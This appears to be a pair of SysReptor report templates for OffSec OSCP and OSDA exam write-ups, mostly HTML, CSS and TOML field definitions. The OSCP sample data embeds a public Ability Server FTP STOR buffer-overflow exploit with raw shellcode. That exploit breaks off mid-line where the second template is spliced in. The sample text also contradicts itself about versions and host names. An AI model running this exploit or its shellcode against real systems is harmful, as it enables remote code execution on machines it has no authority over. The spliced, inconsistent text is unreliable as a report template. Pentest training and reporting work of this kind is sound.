Identified Vulnerabilities

+

+ In the course of this penetration test + + + + + + + + vulnerabilities were identified: +

+ + + + + + + + + + + + + + + + + +
Target NameIPCVSSPage
+
+
+ + +
+

Methodologies

+ + +

Information Gathering

+ + +

Service Enumeration

+ + +

Penetration

+ + +

Maintaining Access

+ + +

House Cleaning

+ +
+ + +
+

Independent Challenges

+
+

{{ finding.title }} ({{ finding.ip_address }})

+ + + + + + + + + +
Score: + {{ finding.cvss.score}} ({{ lodash.capitalize(finding.cvss.level) }}) +
Vector:{{ finding.cvss.vector || 'n/a' }}
+ +
+

Service Enumeration

+ +
+
+

Initial Access

+ +
+ +
+

Privilege Escalation

+ +
+ +
+

Post-Exploitation

+ +
+ +
+
+ +
+

Active Directory Set

+
+

{{ finding.title }} ({{ finding.ip_address }})

+ + + + + + + + + +
Score: + {{ finding.cvss.score}} ({{ lodash.capitalize(finding.cvss.level) }}) +
Vector:{{ finding.cvss.vector || 'n/a' }}
+ +
+

Service Enumeration

+ +
+
+

Initial Access

+ +
+ +
+

Privilege Escalation

+ +
+ +
+

Post-Exploitation

+ +
+ +
+
+ +
+

Appendix

+ +
+

{{ appendix_section.title }}

+ +
+ +
+ +
+
+ End of Report
+
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + + +/* Global styles */ +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; +} + +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +pre code { + border: 1px solid black; + padding: 0.2em !important; +} +code { + background-color: rgb(221, 221, 221); +} + +th { + background-color: #ABABAB; + font-weight: bold; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.3em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +.table-key { + background-color: #ABABAB; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + +/* Table in finding chapters */ +.finding-heading .table-key { + height: 3em; + width: 10em; +} + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + + + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer #footer-left { position: running(footer-left); } +#footer #footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region watermark */ +#watermark-osid { + position: fixed; + top: 9cm; + left: 1cm; + transform: rotate(-45deg); + font-size: 90pt; + text-transform: uppercase; + opacity: 0.2; +} +/* #endregion watermark */ + +/* #region page-cover */ +@page :first { + /* Footer on the cover page */ + @bottom-right-corner { + content: ""; + } + @bottom-right { + /* Page number */ + content: counter(page); + font-size: 9pt; + color: white + } + @bottom-left { + content: "Confidential"; + text-transform: uppercase; + font-style: italic; + color: white; + } + /* Pentest title should not appear on cover page */ + @bottom-center { + content: ''; + } +} +#page-cover-background{ + position: absolute; + margin-top: -35mm; + margin-left: -20mm; + width: 210mm; + height: 297mm; + background-color: #E83221; +} +/* Title page elements */ +#page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-title h1 { + font-size: 32pt; +} +#page-cover-title h2 { + font-size: 24pt; +} +#page-cover-student { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-osid { + font-size: 14pt; +} +#page-cover-meta { + line-height: 2em; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +#toc .toc-level4 { + font-size: 1rem; + margin-top: 0; + margin-left: 6rem; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "OSCP Penetration Test Report" +required = true +spellcheck = true + +[report_fields.mail] +type = "string" +label = "Mail" +origin = "custom" +default = "student@example.com" +required = true +spellcheck = false + +[report_fields.osid] +type = "string" +label = "OSID" +origin = "custom" +default = "XXXXX" +required = true +spellcheck = false + +[report_fields.lastname] +type = "string" +label = "lastname" +origin = "custom" +default = "Doe" +required = true +spellcheck = false + +[report_fields.firstname] +type = "string" +label = "firstname" +origin = "custom" +default = "John" +required = true +spellcheck = false + +[report_fields.watermark] +type = "boolean" +label = "Watermark" +origin = "custom" +default = false + +[report_fields.methodology] +type = "markdown" +label = "Methodologies" +origin = "custom" +default = """ +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) utilized a widely adopted approach to perform penetration testing that is effective in testing how well the Offensive Security Labs and Exam environments are secure. Below is a breakout of how {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to identify and exploit the variety of systems and includes all individual vulnerabilities found. + +TODO Adapt as required +""" +required = true + +[report_fields.penetration] +type = "markdown" +label = "Penetration" +origin = "custom" +default = """ +The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to successfully gain access to 10 out of the 50 systems. + +TODO Adapt as required +""" +required = true + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.serviceenum] +type = "markdown" +label = "Service Enumeration" +origin = "custom" +default = """ +The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed. + +TODO Adapt as required +""" +required = true + +[report_fields.housecleaning] +type = "markdown" +label = "House Cleaning" +origin = "custom" +default = """ +The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important. + +After the trophies on both the lab network and exam network were completed, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system. + +TODO Adapt as required +""" +required = true + +[report_fields.infogathering] +type = "markdown" +label = "Information Gathering" +origin = "custom" +default = """ +The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with exploiting the lab and exam network. The specific IP addresses were: + +**Exam Network:** + +* 172.16.203.133 +* 172.16.203.134 +* 172.16.203.135 +* 172.16.203.136 + +TODO Adapt as required +""" +required = true + +[report_fields.maintainaccess] +type = "markdown" +label = "Maintaining Access" +origin = "custom" +default = """ +Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit. + +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established. + +TODO Adapt as required +""" +required = true + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[report_fields.recommendations] +type = "markdown" +label = "Recommendations" +origin = "custom" +default = """ +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) recommends patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date. + +TODO Adapt as required +""" +required = true + +[report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_sections.items.properties] +[report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO appendix content" +required = true + +[report_fields.highlevel_summary] +type = "markdown" +label = "High-Level Summary" +origin = "custom" +default = """ +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with performing an internal penetration test towards Offensive Security Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal lab systems – the THINC.local domain. {{ report.firstname }} {{ report.lastname}}’s ({{ report.osid}}) overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security. + +When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) had administrative level access to multiple systems. All systems were successfully exploited and access granted. + +TODO Adapt summary as required +""" +required = true + +[[report_sections]] +id = "Student" +label = "Student" +fields = [ + "firstname", + "lastname", + "osid", + "mail", +] + +[[report_sections]] +id = "other" +label = "Document Control" +fields = [ + "title", + "report_date", + "report_version", + "watermark", +] + +[[report_sections]] +id = "high-level_summary" +label = "High-Level Summary" +fields = [ + "highlevel_summary", + "recommendations", +] + +[[report_sections]] +id = "methodology" +label = "Methodologies" +fields = [ + "methodology", + "infogathering", + "serviceenum", + "penetration", + "maintainaccess", + "housecleaning", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Target Name" +origin = "core" +default = "TODO Target Name" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS" +origin = "core" +default = "n/a" +required = true + +[finding_fields.ip_address] +type = "string" +label = "IP Address" +origin = "custom" +default = "TODO IP Address" +required = true +spellcheck = false + +[finding_fields.serviceenum] +type = "markdown" +label = "Service Enumeration" +origin = "custom" +default = """ +**Port Scan Results** + +| IP Address | Ports Open | +| ------- | ------- | +| TODO | TODO **TCP:** **UDP:** + +TODO +* `nmap -Pn -n 8.8.8.8 | grep open | cut -d/ -f1 | sed 'N;s/\\n/, /g'` for comma separated TCP ports +* `nmap -sU -Pn -n 8.8.8.8 | grep open | cut -d/ -f1 | sed 'N;s/\\n/, /g'` for comma separated UDP ports + +**TODO further enumeration results** +""" +required = true + +[finding_fields.initialaccess] +type = "markdown" +label = "Initial Access" +origin = "custom" +default = """ +**Vulnerability Explation:** TODO + +**Vulnerability Fix:** TODO + +**Steps to reproduce the attack:** TODO + +**Proof of Concept Code:** TODO +""" +required = true + +[finding_fields.postexploitation] +type = "markdown" +label = "Post Exploitation" +origin = "custom" +default = "**System Proof Screenshot:** TODO" +required = true + +[finding_fields.isActiveDirectory] +type = "boolean" +label = "is Active Directory Set?" +origin = "custom" +default = false + +[finding_fields.privilegeescalation] +type = "markdown" +label = "Privilege Escalation" +origin = "custom" +default = """ +**Vulnerability Explanation:** TODO + +**Vulnerability Fix:** TODO + +**Steps to reproduce the attack:** TODO + +**Proof of Concept Code:** TODO +""" +required = true + +[report_preview_data] +[report_preview_data.report] +title = "OSCP Penetration Test Report" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = true +methodology = "{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) utilized a widely adopted approach to perform penetration testing that is effective in testing how well the Offensive Security Labs and Exam environments are secure. Below is a breakout of how {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to identify and exploit the variety of systems and includes all individual vulnerabilities found." +penetration = "The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to successfully gain access to 10 out of the 50 systems." +report_date = "2022-07-29" +serviceenum = "The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed." +housecleaning = """ +The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important. + +After the trophies on both the lab network and exam network were completed, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system. +""" +infogathering = """ +The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with exploiting the lab and exam network. The specific IP addresses were: + +**Exam Network:** + +* 172.16.203.133 +* 172.16.203.134 +* 172.16.203.135 +* 172.16.203.136 +""" +maintainaccess = """ +Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit. + +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established. + +""" +report_version = "1.0" +recommendations = "{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) recommends patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date." +appendix_sections = [] +highlevel_summary = """ +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with performing an internal penetration test towards Offensive Security Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal lab systems – the THINC.local domain. {{ report.firstname }} {{ report.lastname}}’s ({{ report.osid}}) overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security. + +When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) had administrative level access to multiple systems. All systems were successfully exploited and access granted. +""" +firstname = "John" +lastname = "Doe" + +[[report_preview_data.findings]] +title = "Target #1" +cvss = "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" +id = "c7f12f17-96bf-4899-b10f-2b1a513382e8" +ip_address = "172.16.203.134" +serviceenum = """ +**Port Scan Results** + +| IP Address | Ports Open | +| ------- | ------- | +| 172.16.203.134 | **TCP:** 22, 79, 80, 105, 106, 110, 135, 139, 143, 445, 2224, 3306, 3389 | + +**FTP Enumeration** +Upon manual enumeration of the available FTP service, John noticed it was running an outdated version 2.3.4 that is prone to the remote buffer overflow vulnerability. +""" +initialaccess = """ +**Vulnerability Explanation:** Ability Server 2.34 is subject to a buffer overflow vulnerability in STOR field. Attackers can use this vulnerability to cause arbitrary remote code execution and take completely control over the system. + +**Vulnerability Fix:** The publishers of the Ability Server have issued a patch to fix this known issue. It can be found here: [http://www.code-crafters.com/abilityserver/](http://www.code-crafters.com/abilityserver/) + +**Steps to reproduce the attack:** The operating system was different from the known public exploit. A rewritten exploit was needed in order for successful code execution to occur. Once the exploit was rewritten, a targeted attack was performed on the system which gave John full administrative access over the system. + +**Proof of Concept Code:** +```python highlight-manual +################################### +# Ability Server 2.34 FTP STOR Buffer Overflow # Advanced, secure and easy to use FTP Server. # 21 Oct 2004 - muts ################################### +# D:\\BO>ability-2.34-ftp-stor.py ################################### +# D:\\data\\tools>nc -v 127.0.0.1 4444 +# localhost [127.0.0.1] 4444 (?) open +# Microsoft Windows XP [Version 5.1.2600] +# (C) Copyright 1985-2001 Microsoft Corp. +# D:\\Program Files\\abilitywebserver> ################################### + +import ftplib +from ftplib import FTP +import struct + +print "\\n\\n################################" +print "\\nAbility Server 2.34 FTP STOR buffer Overflow" print "\\nFor Educational Purposes Only!\\n" +print "###################################" + +# Shellcode taken from Sergio Alvarez's "Win32 Stack Buffer Overflow Tutorial" +sc = "\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x31\\xc9\\xb1\\x5e\\x81\\x73\\x17\\xe0\\x66" +sc += "\\x1c\\xc2\\x83\\xeb\\xfc\\xe2\\xf4\\x1c\\x8e\\x4a\\xc2\\xe0\\x66\\x4f\\x97\\xb6" +sc += "\\x1a\\x38\\xd6\\x95\\x87\\x97\\x98\\xc4\\x67\\xf7\\xa4\\x6b\\x6a\\x57\\x49\\xba" +sc += "\\x7a\\x1d\\x29\\x6b\\x62\\x97\\xc3\\x08\\x8d\\x1e\\xf3\\x20\\x39\\x42\\x9f\\xbb" +sc += "\\xa4\\x14\\xc2\\xbe\\x0c\\x2c\\x9b\\x84\\xed\\x05\\x49\\xbb\\x6a\\x97\\x99\\xfc" +sc += "\\xed\\x07\\x49\\xbb\\x6e\\x4f\\xaa\\x6e\\x28\\x12\\x2e\\x1f\\xb0\\x95\\x05\\x61" +sc += "\\x8a\\x1c\\xc3\\xe0\\x66\\x4b\\x94\\xb3\\xef\\xf9\\x2a\\xc7\\x66\\x1c\\xc2\\x70" +sc += "\\x67\\x1c\\xc2\\x56\\x7f\\x04\\x25\\x44\\x7f\\x6c\\x2b\\x05\\x2f\\x9a\\x8b\\x44" +sc += "\\x7c\\x6c\\x05\\x44\\xcb\\x32\\x2b\\x39\\x6f\\xe9\\x6f\\x2b\\x8b\\xe0\\xf9\\xb7" +sc += "\\x35\\x2e\\x9d\\xd3\\x54\\x1c\\x99\\x6d\\x2d\\x3c\\x93\\x1f\\xb1\\x95\\x1d\\x69" +sc += "\\xa5\\x91\\xb7\\xf4\\x0c\\x1b\\x9b\\xb1\\x35\\xe3\\xf6\\x6f\\x99\\x49\\xc6\\xb9" +sc += "\\xef\\x18\\x4c\\x02\\x94\\x37\\xe5\\xb4\\x99\\x2b\\x3d\\xb5\\x56\\x2d\\x02\\xb0" +sc += "\\x36\\x4c\\x92\\xa0\\x36\\x5c\\x92\\x1f\\x33\\x30\\x4b\\x27\\x57\\xc7\\x91\\xb3" +sc += "\\x0e\\x1e\\xc2\\xf1\\x3a\\x95\\x22\\x8a\\x76\\x4c\\x95\\x1f\\x33\\x38\\x91\\xb7" +sc += "\\x99\\x49\\xea\\xb3\\x32\\x4b\\x3d\\xb5\\x46\\x95\\x05\\x88\\x25\\x51\\x86\\xe0" +sc += "\\xef\\xff\\x45\\x1a\\x57\\xdc\\x4f\\x9c\\x42\\xb0\\xa8\\xf5\\x3f\\xef\\x69\\x67" +sc += "\\x9c\\x9f\\x2e\\xb4\\xa0\\x58\\xe6\\xf0\\x22\\x7a\\x05\\xa4\\x42\\x20\\xc3\\xe1" +sc += "\\xef\\x60\\xe6\\xa8\\xef\\x60\\xe6\\xac\\xef\\x60\\xe6\\xb0\\xeb\\x58\\xe6\\xf0" +sc += "\\x32\\x4c\\x93\\xb1\\x37\\x5d\\x93\\xa9\\x37\\x4d\\x91\\xb1\\x99\\x69\\xc2\\x88" +sc += "\\x14\\xe2\\x71\\xf6\\x99\\x49\\xc6\\x1f\\xb6\\x95\\x24\\x1f\\x13\\x1c\\xaa\\x4d" +sc += "\\xbf\\x19\\x0c\\x1f\\x33\\x18\\x4b\\x23\\x0c\\xe3\\x3d\\xd6\\x99\\xcf\\x3d\\x95" +sc += "\\x66\\x74\\x32\\x6a\\x62\\x43\\x3d\\xb5\\x62\\x2d\\x19\\xb3\\x99\\xcc\\xc2" + +# Change RET address if need be. +buffer = §§'\\x41'*966+struct.pack(' + + + + +
{{ report.osid }}
+ + +
+
+
+

Offensive Security

+

{{ report.title }}

+
+ +
+

+ OSID: {{ report.osid }}
+ {{ report.mail }}
+

+

+ {{ formatDate(report.report_date, 'long') }}
+ v{{ report.report_version }} +

+
+
+ + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + # Offensive Security OSDA Exam Documentation {.in-toc.numbered} + The Offensive Security Exam report contains all efforts that were conducted in order to pass the Offensive Security certification test. This report should contain all items that were used to pass the exam and it will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of security detection methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Defense Analyst. + + ## Objective {.in-toc.numbered} + The objective of this assessment is to perform detections and analysis on the simulated exam network in order to determine which attacker actions took place in each of the 10 phases. + + An example page has already been created for you at the latter portions of this document that should demonstrate the amount of information and detail that is expected in the exam report. Use the sample report as a guideline to get you through the reporting. + + ## Requirements {.in-toc.numbered} + The student will be required to fill out this penetration testing report fully and to include the following sections: + + * Overall High-Level Summary of level of compromise + * Detailed walkthrough of attacker actions in each phase + * Each finding with included screenshots, explanations, event / log entries, and KQL queries if applicable + + + +
+

High-Level Summary

+ + +
+ +
+

Phases

+
+

{{ finding.title }}

+
+

{{ step.a_step_title }}

+ +
+ +
+
+ +
+

Appendix

+ +
+

{{ appendix_section.title }}

+ +
+ +
+ +
+
+ End of Report
+
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-cover-page-bg: #005ad0; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + + +/* Global styles */ +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; +} + +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +pre code { + border: 1px solid black; + padding: 0.2em !important; +} +code { + background-color: rgb(221, 221, 221); +} + +th { + background-color: #ABABAB; + font-weight: bold; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.3em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +.table-key { + background-color: #ABABAB; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + +/* Table in finding chapters */ +.finding-heading .table-key { + height: 3em; + width: 10em; +} + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + + + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer #footer-left { position: running(footer-left); } +#footer #footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region watermark */ +#watermark-osid { + position: fixed; + top: 9cm; + left: 1cm; + transform: rotate(-45deg); + font-size: 90pt; + text-transform: uppercase; + opacity: 0.2; +} +/* #endregion watermark */ + +/* #region page-cover */ +@page :first { + /* Footer on the cover page */ + @bottom-right-corner { + content: ""; + } + @bottom-right { + /* Page number */ + content: counter(page); + font-size: 9pt; + color: white + } + @bottom-left { + content: "Confidential"; + text-transform: uppercase; + font-style: italic; + color: white; + } + /* Pentest title should not appear on cover page */ + @bottom-center { + content: ''; + } +} +#page-cover-background{ + position: absolute; + margin-top: -35mm; + margin-left: -20mm; + width: 210mm; + height: 297mm; + background-color: var(--color-cover-page-bg); +} +/* Title page elements */ +#page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-title h1 { + font-size: 32pt; +} +#page-cover-title h2 { + font-size: 24pt; +} +#page-cover-student { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-osid { + font-size: 14pt; +} +#page-cover-meta { + line-height: 2em; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +#toc .toc-level4 { + font-size: 1rem; + margin-top: 0; + margin-left: 6rem; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "OSDA Exam Documentation" +required = true +spellcheck = true + +[report_fields.mail] +type = "string" +label = "Mail" +origin = "custom" +default = "student@example.com" +required = true +spellcheck = false + +[report_fields.osid] +type = "string" +label = "OSID" +origin = "custom" +default = "XXXXX" +required = true +spellcheck = false + +[report_fields.lastname] +type = "string" +label = "Lastname" +origin = "custom" +default = "Doe" +required = true +spellcheck = false + +[report_fields.firstname] +type = "string" +label = "Firstname" +origin = "custom" +default = "John" +required = true +spellcheck = false + +[report_fields.watermark] +type = "boolean" +label = "Watermark" +origin = "custom" +default = false + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_sections.items.properties] +[report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO This section is placed for any additional items that were not mentioned in the overall report." +required = true + +[report_fields.highlevel_summary] +type = "markdown" +label = "High-Level Summary" +origin = "custom" +default = """ +TODO This report details and documents the attacks observed against the Offensive Security OSDA exam network. + +The attacker organization started by performing a brute force against an internet accessible RDP server called APPSRV02 and obtained administrative access. This led to a complete compromise of the server. + +Next the attacker performed lateral movement to the internal server APPSRV02 by reusing stolen credentials from APPSRV02, this also led to a complete compromise of APPSRV03. + +[…] +""" +required = true + +[[report_sections]] +id = "Student" +label = "Student" +fields = [ + "firstname", + "lastname", + "osid", + "mail", +] + +[[report_sections]] +id = "other" +label = "Document Control" +fields = [ + "title", + "report_date", + "report_version", + "watermark", +] + +[[report_sections]] +id = "highlevel_summary" +label = "High-Level Summary" +fields = [ + "highlevel_summary", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Phase" +origin = "core" +default = "TODO Phase Name" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS (not required)" +origin = "core" +default = "n/a" +required = false + +[finding_fields.steps] +type = "list" +label = "Steps" +origin = "custom" +required = true + +[finding_fields.steps.items] +type = "object" +label = "" +origin = "custom" + +[finding_fields.steps.items.properties] +[finding_fields.steps.items.properties.a_step_title] +type = "string" +label = "Step Title" +origin = "custom" +default = "TODO step title" +required = true +spellcheck = false + +[finding_fields.steps.items.properties.b_step_details] +type = "markdown" +label = "Step Details" +origin = "custom" +default = "TODO step details" +required = true + +[report_preview_data] +[report_preview_data.report] +title = "OSDA Exam Documentation" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = true +report_date = "2022-07-29" +report_version = "1.0" +highlevel_summary = """ +TODO This report details and documents the attacks observed against the Offensive Security OSDA exam network. + +The attacker organization started by performing a brute force against an internet accessible RDP server called APPSRV02 and obtained administrative access. This led to a complete compromise of the server. + +Next the attacker performed lateral movement to the internal server APPSRV02 by reusing stolen credentials from APPSRV02, this also led to a complete compromise of APPSRV03. + +[…] +""" +firstname = "John" +lastname = "Doe" + +[[report_preview_data.report.appendix_sections]] +title = "Appendix Title" +content = "Appendix content" + +[[report_preview_data.findings]] +title = 